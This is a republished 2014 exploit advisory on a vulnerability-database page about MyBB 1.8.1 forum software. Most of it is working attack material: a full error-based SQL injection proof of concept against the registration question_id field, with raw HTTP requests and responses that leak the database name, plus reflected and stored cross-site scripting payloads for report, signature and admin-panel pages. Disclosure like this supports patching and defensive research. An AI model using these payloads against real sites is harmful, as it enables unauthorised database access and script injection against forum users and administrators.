Vulners
Lucene search
MyBB 1.8.1 Cross Site Scripting / SQL Injection
`#Title: MyBB 1.8.X - Multiple Vulnerabilities
#Date: 13.11.2014
#Tested on: Linux / Apache 2.2 / PHP 5 (localhost)
#Vendor: mybb.com
#Version: => 1.8.1 - Latest ATM
#Contact: [email protected]
#Author: Smash_
Latest MyBB forum software suffers on multiple vulnerabilities, including SQL Injection and Cross Site Scripting. Such bugs may allow attacker to perform remote sql queries against the database, and so on.
Sanitize your inputs ;)
1. SQL Injection
Vuln:
POST 'question_id' - ID'+or+1+group+by+concat_ws(0x3a,database(),floor(rand(0)*2))+having+min(0)+or+1#
#1 - Request (question_id=C3yp9eM4wWlk1krjwiyxaXwqnCH9W8Om'+ORDER+BY+9#):
POST /mybb-1.8.1/member.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 408
regcheck1=®check2=true&username=woot&password=random&password2=random&email=woot%40woot.com&email2=woot%40woot.com&referrername=&imagestring=6cj5n&imagehash=b2dee8e4028e9cad37e30c31753dfe01&answer=4&question_id=C3yp9eM4wWlk1krjwiyxaXwqnCH9W8Om'+ORDER+BY+9#&allownotices=1&receivepms=1&pmnotice=1&subscriptionmethod=0&timezoneoffset=0&dstcorrection=2®time=1415880544&step=registration&action=do_register
#1 - Response:
HTTP/1.1 503 Service Temporarily Unavailable
Date: Thu, 13 Nov 2014 15:16:02 GMT
<div id="content">
<h2>MyBB SQL Error</h2>
<div id="error">
<p>MyBB has experienced an internal SQL error and cannot continue.</p><dl>
<dt>SQL Error:</dt>
<dd>1054 - Unknown column '9' in 'order clause'</dd>
<dt>Query:</dt>
SELECT q.*, s.sid
FROM mybb_questionsessions s
LEFT JOIN mybb_questions q ON (q.qid=s.qid)
WHERE q.active='1' AND s.sid='C3yp9eM4wWlk1krjwiyxaXwqnCH9W8Om' ORDER BY 9#'
</dd>
#2 - Request (question_id=-C3yp9eM4wWlk1krjwiyxaXwqnCH9W8Om'+ORDER+BY+8#):
POST /mybb-1.8.1/member.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 409
regcheck1=®check2=true&username=woot&password=random&password2=random&email=woot%40woot.com&email2=woot%40woot.com&referrername=&imagestring=6cj5n&imagehash=b2dee8e4028e9cad37e30c31753dfe01&answer=4&question_id=-C3yp9eM4wWlk1krjwiyxaXwqnCH9W8Om'+ORDER+BY+8#&allownotices=1&receivepms=1&pmnotice=1&subscriptionmethod=0&timezoneoffset=0&dstcorrection=2®time=1415880544&step=registration&action=do_register
#2 - Response:
HTTP/1.1 200 OK
Date: Thu, 13 Nov 2014 15:21:15 GMT
(...)
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><!-- start: member_register -->
<html xml:lang="en" lang="en" xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Forums - Registration</title>
#3 - Request (Final POC):
POST /mybb-1.8.1/member.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 475
regcheck1=®check2=true&username=woot&password=random&password2=random&email=woot%40woot.com&email2=woot%40woot.com&referrername=&imagestring=6cj5n&imagehash=b2dee8e4028e9cad37e30c31753dfe01&answer=4&question_id=-C3yp9eM4wWlk1krjwiyxaXwqnCH9W8Om'+or+1+group+by+concat_ws(0x3a,database(),floor(rand(0)*2))+having+min(0)+or+1#&allownotices=1&receivepms=1&pmnotice=1&subscriptionmethod=0&timezoneoffset=0&dstcorrection=2®time=1415880544&step=registration&action=do_register
#3 - Response:
HTTP/1.1 503 Service Temporarily Unavailable
Date: Thu, 13 Nov 2014 15:24:34 GMT
(...)
<div id="content">
<h2>MyBB SQL Error</h2>
<div id="error">
<p>MyBB has experienced an internal SQL error and cannot continue.</p><dl>
<dt>SQL Error:</dt>
<dd>1062 - Duplicate entry 'mybb:1' for key 'group_key'</dd>
<dt>Query:</dt>
<dd>
SELECT q.*, s.sid
FROM mybb_questionsessions s
LEFT JOIN mybb_questions q ON (q.qid=s.qid)
WHERE q.active='1' AND s.sid='-C3yp9eM4wWlk1krjwiyxaXwqnCH9W8Om' or 1 group by concat_ws(0x3a,database(),floor(rand(0)*2)) having min(0) or 1#'
</dd>
</dl>
(...)
2. Cross Site Scripting
a) Reflected XSS - Report post
Vuln:
GET 'type' - XSS"><script>alert(666)</script>
localhost/mybb-1.8.1/report.php?type=XSS%22%3E%3Cscript%3Ealert%28666%29%3C%2fscript%3E&pid=1
Request:
GET /mybb-1.8.1/report.php?type=XSS%22%3E%3Cscript%3Ealert%28666%29%3C%2fscript%3E&pid=1 HTTP/1.1
Host: localhost
Response:
HTTP/1.1 200 OK
Set-Cookie: sid=27ec1f0b75b3c6b9d852e6614144a452; path=/mybb-1.8.1/; HttpOnly
Content-Length: 1247
Content-Type: text/html
<div class="modal">
<div style="overflow-y: auto; max-height: 400px;" class="modal_0">
<form action="report.php" method="post" class="reportData_0" onsubmit="javascript: return Report.submitReport(0);">
<input type="hidden" name="my_post_key" value="c08308117fcadae6609372f46fa97835" />
<input type="hidden" name="action" value="do_report" />
<input type="hidden" name="type" value="XSS"><script>alert(666)</script>" />
<input type="hidden" name="pid" value="0" />
b) Stored XSS - Signature
Vuln:
POST 'signature' - [video=youtube]http://youtube.com?"+xss="true"+666="[/video]
#1 - Request (change signature):
POST /mybb-1.8.1/usercp.php HTTP/1.1
Host: localhost
Referer: http://localhost/mybb-1.8.1/usercp.php?action=editsig
Content-Type: application/x-www-form-urlencoded
Content-Length: 203
my_post_key=c08308117fcadae6609372f46fa97835&signature=%5Bvideo%3Dyoutube%5Dhttp%3A%2F%2Fyoutube.com%3F%22+xss%3D%22true%22+666%3D%22%5B%2Fvideo%5D&updateposts=0&action=do_editsig&submit=Update+Signature
#2 - Request (user's profile):
GET /mybb-1.8.1/member.php?action=profile&uid=2 HTTP/1.1
Host: localhost
Referer: http://localhost/mybb-1.8.1/usercp.php?action=editsig
#2 - Response:
HTTP/1.1 200 OK
Set-Cookie: sid=e68f1b6fab0737d7057b546e24d8106e; path=/mybb-1.8.1/; HttpOnly
Content-Length: 12740
Content-Type: text/html; charset=UTF-8
(...)
<table border="0" cellspacing="0" cellpadding="5" class="tborder tfixed">
<tr>
<td class="thead"><strong>user's Signature</strong></td>
</tr>
<tr>
<td class="trow1 scaleimages">[Video: <a href="http://youtube.com?" xss="true" 666="" target="_blank">http://youtube.com?" xss="true" 666="</a>]</td>
</tr>
</table>
<br />
c) Reflected XSS - Templates (AP)
Vuln:
GET 'title' - title"><script>alert(666)</script>
localhost/mybb-1.8.1/admin/index.php?module=style-templates&action=edit_template&title=calendar"><script>alert(666)</script>&sid=1&expand=1
Request:
GET /mybb-1.8.1/admin/index.php?module=style-templates&action=edit_template&title=calendar%22%3E%3Cscript%3Ealert(666)%3C/script%3E&sid=1&expand=1 HTTP/1.1
Host: localhost
Response:
HTTP/1.1 200 OK
(...)
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head profile="http://gmpg.org/xfn/1">
<title>Editing Template: calendar"><script>alert(666)</script></title>
d) Reflected XSS - Languages (AP)
Vuln:
GET 'file' - <a onmouseover=alert(666)>woot
localhost/mybb-1.8.1/admin/index.php?module=config-languages&action=edit&lang=english&editwith=&file=<a onmouseover=alert(666)>woot
Request:
GET /mybb-1.8.1/admin/index.php?module=config-languages&action=edit&lang=english&editwith=&file=%3Ca%20onmouseover=alert(666)%3Ewoot HTTP/1.1
Host: localhost
Response:
HTTP/1.1 200 OK
(...)
<a href="index.php?module=config-languages">Languages</a> » <a href="index.php?module=config-languages&action=edit&lang=english">English (American)</a> » <span class="active"><a onmouseover=alert(666)>woot</span>
(...)
<div class="title"><a onmouseover=alert(666)>woot</div>
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
14 Nov 2014 00:00Current
0.3Low risk
Vulners AI Score0.3